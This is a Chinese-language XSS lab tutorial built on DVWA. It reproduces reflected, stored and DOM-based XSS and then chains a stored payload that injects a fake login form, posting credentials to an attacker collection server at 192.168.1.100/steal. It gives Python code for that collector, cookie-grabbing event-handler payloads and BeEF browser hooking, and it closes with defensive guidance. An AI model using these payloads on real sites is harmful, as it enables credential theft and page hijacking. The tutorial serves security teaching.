
简介面向Web应用安全初学者的XSS篡改页面实验文档以beef-xss攻击框架搭配pikachu漏洞靶场完整演示跨站脚本注入、浏览器劫持、页面重定向、钓鱼弹窗等常见攻击手法。文档从实验目的与环境准备展开包含Kali中启动beef-xss、访问管理面板、开启phpStudy及Apache、MySQL服务等前置步骤随后在留言板注入hook.js脚本模拟攻击者劫持已登录用户浏览器并在beef平台实施Redirect Browser页面跳转、Pretty Theft社工弹窗及账号密码窃取等操作。附加实验进一步尝试Cookie窃取、键盘记录、屏幕截图等利用方式有助于理解XSS攻击原理、攻击链路与实际危害。资源含1个docx文档压缩包约914KB操作步骤清晰、命令与界面说明完整适合课程实验、CTF入门及安全复习时对照练习。已有541人学习下载可直接按文档逐步复现实验。1. 这个实验到底在验证什么XSS 的本质是“把页面变成攻击者的提线木偶”XSS跨站脚本最容易被新手误判成“一个会弹窗的漏洞”但把「Web应用安全XSS篡改页面实验」这个实验完整跑一遍之后你会发现它真正想让你理解的是另一件事当攻击者的脚本在受害者的浏览器里以合法身份执行时整个页面就变成了攻击者的提线木偶——DOM 可以被任意改写、表单可以被悄悄替换、点击可以被无声劫持。这个实验的杀伤力不在 alert(1) 那个弹窗而在你亲眼看到页面被篡改却毫无察觉的那几秒。实验的思路很朴素构造一个存在注入点的 Web 应用分别用反射型、存储型、DOM 型三种方式把恶意脚本送进页面观察脚本如何操作 DOM、篡改页面结构、伪造登录入口。做完这个实验你不仅知道 XSS 是什么更重要的是能看懂攻击链路中“脚本从哪里进来”“在哪里执行”“篡改了什么”这套分析能力在后续做漏洞修复和代码审计时几乎是每天都要用的基本功。实验面向两类人一是刚接触 Web 安全、想搞懂 XSS 攻击链路的学生或转岗开发者二是需要给自研系统做安全加固、想先完整复现攻击路径再谈防御的后端工程师。2. 搭建靶场为什么选 DVWA以及跑通实验的最低环境XSS 实验不能拿生产环境直接打风险太高正规做法是搭一个本地靶场。DVWADamn Vulnerable Web Application是目前最常见的 Web 安全实验平台它内置了反射型、存储型、DOM 型三类 XSS 模块每一类都给了 Low、Medium、High 三个安全等级恰好能对比同一个漏洞在不同防御强度下的表现这比你自己从零写一个有漏洞的页面要省事得多。2.1 用 Docker 一键起 DVWA三步拿到实验环境DVWA 官方提供了 Docker 镜像这是最省事的落地方式。如果你本地已经装好 Docker整个环境从拉取镜像到可以开打大约五分钟。建议把容器端口映射到 8080避免和本机其他服务撞端口。docker run --rm -it -p 8080:80 vulnerables/web-dvwa容器启动后浏览器访问http://localhost:8080首次进入会看到一个 Setup 页面拉到页面底部点击Create / Reset Database按钮初始化数据库然后用默认账号 admin / password 登录进入后第一件事是打开左侧菜单里的DVWA Security把等级切到 Low。这段命令的含义拆开说一下--rm表示容器退出后自动删除实验环境用完即弃不占磁盘-it是交互模式日志会打印在当前终端方便看 Apache 和 MySQL 的启动状态-p 8080:80把容器内部的 80 端口映射到宿主机的 8080避免和宿主机已有的 Nginx 或 IIS 冲突。切换安全等级这一步很容易漏很多人做完实验发现 payload 全部不生效第一反应是“是不是浏览器的 XSS 过滤器拦截了”结果查了半天发现是等级还停在默认的 Impossible——这个等级的防御是全开状态你几乎不可能打进去。后面避坑章节里我会再展开讲这个问题。2.2 不用 Docker 的本地搭建方式Apache MySQL PHP有些读者的环境不满足 Docker 运行条件常见的做法是直接用 XAMPP 或 phpstudy 这类集成环境跑 DVWA。原理很简单DVWA 是一个 PHP MySQL 应用任何能提供这两个运行时的组合都能跑。下载 DVWA 源码后解压到 Web 根目录然后修改配置文件里的数据库账号密码。# 以 XAMPP 为例DVWA 源码解压到 /htdocs/dvwa 后 cp config/config.inc.php.dist config/config.inc.php # 编辑 config.inc.php把数据库账号改成你本地的 MySQL 账号 # 默认 root 密码为空或 root按需修改这里有一个细节值得注意本地集成环境的 PHP 版本如果高于 7.xDVWA 的部分功能会有兼容性警告但 XSS 相关的三个模块基本不受影响。如果你在实验过程中遇到页面报错白屏优先检查 MySQL 是否已启动——XAMPP 里 Apache 和 MySQL 是两个独立服务经常出现只启动了 Apache 忘了起 MySQL 的情况。另外DVWA 依赖mysqli扩展和allow_url_fopen配置Windows 版 XAMPP 默认都开了Linux 上用源装的 PHP 可能缺扩展php -m | grep mysqli确认一下没有就装上再继续。2.3 实验前必须搞清楚的三个前置概念跑实验之前先把三个基础概念对齐否则后面脚本写起来容易理解偏。第一是反射型 XSS 的数据流攻击载荷走 URL 参数进入服务端服务端没有过滤就直接把参数拼进 HTML 响应返回给浏览器整个过程“反射”一次紧接着就消失所以叫反射型。第二是存储型 XSS 的数据流载荷被写入数据库之后任意用户访问那个页面都会加载到这段恶意代码存在时间以天甚至以年计危害等级比反射型高得多。第三是 DOM 型 XSS整个攻击过程根本不经过服务端处理页面自带的 JavaScript 读取 URL 参数后直接操作 DOM恶意代码在浏览器内部完成注入和执行这也是三种类型里最难从服务端日志里发现的一种。提示做实验时建议打开浏览器的开发者工具面板把 Network 和 Console 两个页签都开着。观察反射型时重点看请求和响应内容是否原样返回了你的 payload观察 DOM 型时重点看 Console 报错和 Elements 面板的变化这对理解“脚本在哪里执行”非常有帮助。3. 用 DVWA 低等级复现三类 XSS从弹窗到页面篡改的完整路径DVWA 的 Low 等级故意不做任何过滤是整个实验的起点。我建议按照反射型 → 存储型 → DOM 型的顺序做因为它们的攻击链是一层比一层隐蔽的前一个是后一个的基础。每一个实验都按同一套流程走先看正常请求是什么样的再观察注入点然后写 payload 验证最后观察页面被篡改的结果。3.1 反射型 XSSURL 参数如何变成页面里的脚本DVWA 的反射型模块是一个“Whats your name?”的输入框提交后会把名字拼在欢迎语里返回。正常请求长这样http://localhost:8080/vulnerabilities/xss_r/?nameAlice服务端返回的 HTML 片段是preHello Alice/pre这个Alice就是反射点。实验思路很简单把Alice换成一个完整的 script 标签看它会不会被原样拼进 HTML 并执行。攻击载荷直接写在地址栏里即可注意要用%3C和%3E对尖括号做一次 URL 编码防止浏览器或服务器在解析 URL 时把尖括号直接扔掉http://localhost:8080/vulnerabilities/xss_r/?name%3Cscript%3Edocument.body.innerHTML%3D%27PWNED%27%3C%2Fscript%3E这个 payload 做的事情是向 URL 传入一个完整脚本脚本内容是把document.body.innerHTML整个覆盖成字符串PWNED。执行后当前页面的全部内容会被替换成一行文字这就是“篡改页面”的最直观效果——不是弹个窗就完事而是整页内容被攻击者接管。从防御方视角看这里的核心问题是服务端没有对name参数做任何输出编码输入是什么HTML 响应里就是什么脚本被浏览器当成页面自己的一部分执行同源策略对它完全无效。3.2 将 payload 拆开解析为什么会以这种方式篡改页面上面那个 payload 看起来简单但有几个点值得展开说明。document.body.innerHTML是 DOM 操作里最“粗暴”的属性给它赋值会直接替换掉 body 里所有现有内容。这种方式在真实攻击中不太常用——它动静太大受害者一眼就能发现页面被改了——但作为实验它非常直观。真实攻击里更常见的是精细操作比如只替换页面里某个表单的 action 属性、修改某个链接的 href、插入一个隐藏的 iframe让页面看起来完全正常但点击行为已经被劫持。其次innerHTML 注入脚本的边界问题值得注意。document.body.innerHTML scriptalert(1)/script这种写法在现代浏览器里是不会执行script 标签的因为通过 innerHTML 插入的 script 标签不会触发脚本执行。真正的执行方式是利用事件属性或者把script标签替换成img srcx onerroralert(1)这类自动触发的写法。实验时如果发现插入了 script 标签但没弹窗问题多半在这里而不是漏洞不存在。3.3 存储型 XSS一次注入之后每次访问都被篡改DVWA 的存储型模块是一个留言板名字和留言会写入数据库。这里的关键差异是恶意脚本不再需要每次通过 URL 传入攻击者只需要提交一次 payload数据库就记住了之后任何人访问这个页面payload 都会被拼进页面返回并执行。payload 我建议比反射型写得更具“篡改”气息直接伪造一个登录框script document.write(h3Session Expired/h3form methodGET actionhttp://192.168.1.100/stealinput typetext nameuserinput typepassword namepassinput typesubmit valueLogin/form); /script提交后在name字段填入上述 payload留言随便写。刷新页面后浏览器会在留言区域渲染出一个伪造的登录表单受害者如果在这个表单里输入账号密码数据会以 GET 请求被送到攻击者指定的192.168.1.100在测试环境里请把这个 IP 换成你自己的机器。这比反射型可怕的地方在于攻击者不需要诱导受害者点击特定链接受害者的访问行为是自然发生的页面本身就已经被污染了。存储型 XSS 的实际利用场景包括论坛帖子、商品评论、工单系统、后台日志名等一切“用户输入会被其他人看到”的功能。3.4 DOM 型 XSS不经过服务端的“隐形”注入DOM 型是这三类里最容易让人迷惑的。DVWA 的 DOM 模块是一个选择默认语言的页面?defaultEnglish会被页面里的 JavaScript 读取然后动态把对应值写进 select 元素的选项里。关键点在于服务端返回的 HTML 是静态的你从 curl 或浏览器 Network 面板里看到的响应里根本没有你的脚本脚本的执行发生在浏览器内部。DOM 型实验的 payload 有两种写法。一种走 URL 的 fragment#号后面的部分因为 DVWA 的旧版代码用location.hash读取参数http://localhost:8080/vulnerabilities/xss_d/?defaultEnglish#scriptalert(document.cookie)/script另一种是标准参数写法配合事件属性绕过http://localhost:8080/vulnerabilities/xss_d/?defaultoption%20id%22x%22%20onmouseoveralert(1)第一种的执行流程是页面加载后JavaScript 读取location.hash的值通过innerHTML拼进select标签的选项里。这里有两个经典坑。第一fragment 不会发到服务端所以服务端日志里完全看不到这个请求排查时极其容易被忽略。第二innerHTML 插入script同样不会执行所以第二种写法里我用的是option onmouseover——鼠标滑过选项就触发 alert这个手法在 CTF 的 DOM XSS 题目里极其常用本质就是利用 HTML 标签的事件属性来完成脚本执行绕开 innerHTML 对 script 标签的限制。3.5 三个实验做完后需要对比的一张表观察维度反射型存储型DOM 型注入点URL 参数表单输入数据库URL 参数 / URL fragment是否经过服务端经过但未过滤经过且被持久化不经过服务端处理触发条件受害者点击恶意链接受害者访问被污染的页面受害者访问特定 URL服务端日志是否可见可见URL 中有 payload可见数据库有脏数据不可见payload 只在浏览器侧篡改页面的生效路径响应中直接拼入脚本数据库 → 响应 → 浏览器前端 JS 读取参数 → 操作 DOM做完对比你会发现DOM 型虽然“不需要服务端配合”但它依赖页面自身的前端代码写得不够安全。这意味着修复 DOM 型漏洞不能只靠后端加过滤器后端根本看不到攻击请求必须改前端代码对用户输入做编码处理后再用textContent代替innerHTML一类的安全写法。4. 从弹窗到实战化篡改模拟攻击者完整打一次“钓鱼页面替换”前三节实验已经把三种类型的攻击链路跑通了但如果你停留在 alert 弹窗层面就还没有真正理解“篡改页面”这个标题的份量。真实攻击场景里攻击者要做的事情远比弹窗复杂弹窗会引起怀疑而篡改页面是在受害者毫无感知的情况下完成的。这一章模拟一次完整的攻击流程把目标设定为“把 DVWA 的登录页替换成一个钓鱼页”。4.1 进攻的第一步踩点确定注入点和上下文任何攻击都从踩点开始。我们假设目标是 DVWA 的登录页使用低等级的存储型 XSS 模块作为注入通道思路是在留言板里注入一段恶意脚本脚本运行后把页面上原有的登录表单换成攻击者构造的钓鱼表单。踩点的时候要搞清楚两个问题注入点在哪、注入点所在位置的 HTML 上下文是什么。GET /vulnerabilities/xss_s/ HTTP/1.1 Host: localhost:8080 Cookie: PHPSESSID你的会话ID通过浏览器的开发者工具把留言板的提交请求完整看一遍确认 name 和 message 两个参数提交到服务端后哪个参数原样进入了数据库并在页面渲染时被输出。低等级下不需要绕过任何过滤规则name 字段会直接以pre标签内的文本形式输出message 字段同理。这一步的核心产出是一张“注入地图”知道你的输入会落在页面的哪个 DOM 位置以及那个位置的 HTML 上下文是标签内、属性内还是脚本块内这直接决定了后续 payload 的构造方式。4.2 第二阶段构造能替换整个页面的载荷域名是攻击者的服务器地址这里用http://192.168.1.100:8080/steal作为接收盗取数据的测试端点。注意这个 payload 里用了 document.write 而不是 innerHTML原因在于当脚本作为页面的一部分被外部加载执行时document.write 可以直接向文档流里写入 HTML效果是页面加载到那个位置时被插入内容而 innerHTML 只能替换指定元素的内容无法做到“在页面中间插入一个完整表单”。选择 document.write 还有一个考量——它在旧版 DVWA 的上下文里触发最稳定不会因为浏览器对 innerHTML 的解析差异出现意外。4.3 第三阶段从“篡改页面”到“数据窃取”的完整链路页面被替换只是第一步攻击者真正想要的是用户输入的数据。钓鱼表单收集到的账号密码会以 GET 参数的形式发往攻击者服务器攻击者服务器上需要一个收集端。为了实验闭环用 Python 起一个最简单的 HTTP 服务把收到的数据打印在终端from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse class StealHandler(BaseHTTPRequestHandler): def do_GET(self): params urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) print([] 捕获到数据:, params) self.send_response(200) self.end_headers() self.wfile.write(bok) server HTTPServer((0.0.0.0, 8080), StealHandler) server.serve_forever()先说明一下这段代码的作用do_GET方法在处理 GET 请求时会解析 URL 里的 query 参数把键值对打印到终端然后返回 HTTP 200 给浏览器让受害者以为“提交成功”了不会立刻起疑。两个参数需要重点说明(0.0.0.0, 8080)表示监听本机所有网卡上的 8080 端口这样虚拟机和局域网内其他机器也能访问到这个收集服务被钓鱼的用户浏览器发出的是一个标准 GET 请求所以在真实场景里日志分析系统只会看到一条访问攻击域名的请求记录很难判定这是不是一次钓鱼提交。跑完整个流程后你实际上复现了一条完整攻击链注入恶意脚本 → 脚本篡改页面 → 用户提交敏感信息 → 数据被窃取。这个过程里受害者看到的页面是“正常”的页面地址栏也是“正常”的唯一的问题出在页面内部——而页面内部的异常肉眼几乎无法分辨。这也是 XSS 比 SQL 注入更难防御的原因之一它不是不让你进而是让你感觉一切正常地交出自己的数据。4.4 为什么实验链路里故意不加密、不使用复杂框架有的读者可能会问真实攻击里钓鱼页通常会用 HTTPS、会做域名伪装、会用更复杂的混淆脚本这个实验是不是太简陋了。回答这个问题要回归实验的定位DVWA 低等级环境刻意拿掉所有干扰因素让你把注意力集中在攻击的核心数据流上——用户输入如何变成页面的一部分、如何被浏览器执行、如何完成篡改。加密、混淆、CDN 这些都属于“攻击基础设施”的范畴它们不影响你理解 XSS 的攻击原理反而会因为加解密、域名解析等问题干扰你对主线的观察。先把这条裸链路打透再去研究那些进阶手段比一上来就搞一套花哨的模拟攻击要有效得多。5. 避坑XSS 篡改实验里最常见的八个翻车现场做 XSS 实验十个里面有八个问题不是出在“不懂原理”而是出在环境、配置和浏览器行为上。这些坑我全都踩过每条都按现象 → 原因 → 解决三个层次写你实验时碰到类似现象直接对照排查比重新搜索“为什么我的 XSS payload 不生效”要快得多。5.1 所有 payload 都不执行页面原样显示纯文本现象把scriptalert(1)/script提交到输入框页面没有任何反应源代码里能看到 script 标签但它以文本形式存在。原因DVWA 的安全等级停留在 Medium 或 High这两个等级默认对输入做过滤和输出编码——Medium 会替换script标签Impossible 级别的防御是全开状态。解决进 DVWA Security 页面把等级切到 Low。这个坑占到新手实验失败原因的六成以上务必最先排查。5.2 反射型 payload 在 Firefox 里正常在 Chrome 里不弹窗现象同样构造一个scriptalert(1)/script的 URLFirefox 正常弹窗Chrome 却毫无反应控制台提示Refused to execute a JavaScript script...。原因Chrome 内置了 XSS Auditor后来演进为 XSS 过滤器检测到 URL 参数与响应内容存在可疑的脚本匹配时会主动拦截。解决实验场景下用 Firefox 或 EdgeIE 模式打反射型比较稳妥或者改用不带弹窗的非主动式 payload 观察 DOM 变化。这不是 DVWA 的问题是浏览器主动防御机制在起作用。5.3 DOM 型模块提交后 URL 长度超长、页面抖了一下但没注入成功现象往?default后面拼 payload整个 URL 变得非常长提交后 select 下拉框没有出现预期选项。原因DOM 型实验的代码会读取参数值拼接到 HTML 中但部分版本 DVWA 使用了substr或字符串长度检查来控制参数长度的接收范围。解决把 payload 改短或者把 payload 的核心逻辑放到location.hash部分让主要恶意代码藏在 fragment 里有效绕过长度的视觉干扰且 fragment 不会发往服务端。5.4 打存储型 XSS 时payload 插进去了但第二次访问没有生效现象留言板里能看到script标签文本但刷新页面后它没有作为脚本执行。原因浏览器对通过 innerHTML 插入的 script 标签默认不执行DVWA 的一些版本在存储型模块展示了 innerHTML 相关写法时特别容易出现这个混淆。解决把 script 标签换成img srcx onerroralert(document.cookie)这种事件驱动型载荷onerror 在图片加载失败时自动触发是最稳定且最具代表性的 XSS 执行写法。上面的 payload 纯粹是验证性质在攻击者视角这里可以换成任何想要执行的 JavaScript 逻辑。5.5 自己搭的环境里 DVWA 页面反复跳转 Setup 页面现象访问http://localhost:8080后每次都跳回 Setup点了 Create / Reset Database 也无效。原因DVWA 的数据库连接配置不对或者 MySQL 还没启动导致config.inc.php里的数据库信息与运行环境不匹配。解决确认 MySQL 已在运行并用命令行验证连接——mysql -u root -p能正常进入则说明服务在跑检查配置文件里的 DB 密码是否和本机 MySQL 一致。注意新版 DVWA 还要求reCAPTCHA密钥留空或随意填写即可通过不影响实验。5.6 在 Linux 上用源码部署时页面报 500日志提示缺少 PHP 扩展现象页面打开是 500Apache 的error.log里看到Call to undefined function mysqli_connect()之类的报错。原因PHP 环境缺少mysqli扩展。解决Debian/Ubuntu 上执行sudo apt install php-mysql并重启 Apache确认扩展加载后再刷新页面。这个坑只影响源码部署方式用 Docker 镜像不会碰到属于环境级问题。5.7 攻击服务器上的 Python 收集端收不到数据现象钓鱼表单提交后没有任何数据到达监听终端浏览器报了连接错误。原因表单里的 action 地址写成了http://localhost:8080/steal而浏览器里的localhost指向的是受害者自己的机器不是你运行监听服务的机器。解决把 action 地址里的 IP 换成攻击者机器的实际局域网 IP比如http://192.168.1.100:8080/steal。这个坑在多人实验环境或虚拟机场景下极其常见攻击和受害不在同一台机器时所有回调地址都必须是可达的真实 IP而不是相对地址。5.8 实验结束后 Docker 容器退了DVWA 数据被清空现象重新拉容器后发现之前存储型实验注入的 payload 全没了又要重新打一遍。原因docker run --rm在容器退出时自动删除容器容器内的数据库文件随之丢失。解决实验需要保留现场时去掉--rm并给容器命名docker run -it -d --name dvwa-lab -p 8080:80 vulnerables/web-dvwa下次实验用docker start dvwa-lab恢复同一个容器数据库状态还在。如果需要持久化数据库数据到宿主机可以加数据卷参数但做实验通常没必要。6. 进阶从篡改实验中提炼“能带进生产环境”的防御思路实验做到这个程度你对攻击侧的理解已经很完整了但一个成熟的安全工程师的价值更多体现在防御侧。最后一章回到标题里“Web应用安全”这五个字把实验中的攻击手法翻译成一套可以在生产项目中落地的防御清单。防御的核心不是“堵住所有输入”而是分层设防。第一层是过滤在服务端对用户输入的script、事件属性、javascript:协议等危险模式做白名单校验或黑名单过滤。第二层是输出编码所有动态内容在输出到 HTML 前根据输出上下文标签内、属性内、脚本块内做对应的 HTML 实体编码、属性编码或 JavaScript 编码。第三层是 CSP通过响应头限制页面可以加载和执行的外部资源即使攻击者成功插入了脚本CSP 也会阻止它从外部域名加载代码。这三层必须同时生效只做任何一层都会被绕过——这也是为什么 DVWA 的 Medium 和 High 等级单独看都不够安全的原因即使你过滤了 script 标签还有大小写混淆、编码混淆、事件属性绕过的路子。说到生产项目中的落地Spring Boot 是我最常提到的场景。比如在 Spring Boot 项目里做全局过滤器处理 XSS 攻击时一个常见做法是实现一个OncePerRequestFilter对参数做请求体包装和清洗。网上经常讨论“上传 PDF 文件时怎么处理 XSS 攻击”这里的核心矛盾是你不要对 PDF 二进制内容做文本清洗那是破坏文件的蠢事你要处理的是文件名、文件元数据、以及上传接口返回的页面 HTML 上下文。Spring Boot 的 XSS Filter 通常配合 commons-text 的StringEscapeUtils.escapeHtml4做输出编码或使用 OWASP Java HTML Sanitizer 做白名单策略。数字化说明一下过滤器在doFilterInternal里对请求参数做清洗参数值通过HtmlUtils.htmlEscape处理后再放行注意对上传文件接口排除过滤逻辑避免失真。值得一提的是防御侧的验证同样可以用 DVWA 来完成。我在本地维护了一个小习惯每次确认一个漏洞修复方案后都会去 DVWA 里把安全等级从 Low 逐级调到 High把当初打通的 payload 重新跑一遍看是否真的失效。如果 High 等级下原 payload 还能执行说明修复有遗漏需要重新加固。这个“用原攻击载荷回归测试”的习惯在正式项目里的价值不亚于自动化安全扫描——它验证的不是“有没有装 WAF”而是“这条攻击路径是不是真的断了”。我做 XSS 实验最大的收获不是学会了写 payload而是知道了浏览器对 HTML 解析的宽容度有多高、攻击者能利用的边角有多少——那些看似无害的img onerror和svg onload写法在生产代码里往往就是一条被忽略的入口。从实验到实践我的习惯是每写完一处动态渲染先问自己一句“这段输出如果被插入一段 HTML后果是什么”再按三层防御逐层检查。这条路没有捷径但把 DVWA 的篡改实验从头到尾打一遍你至少已经清楚地知道敌人在想什么了。希望帮到你。本文还有配套的精品资源点击获取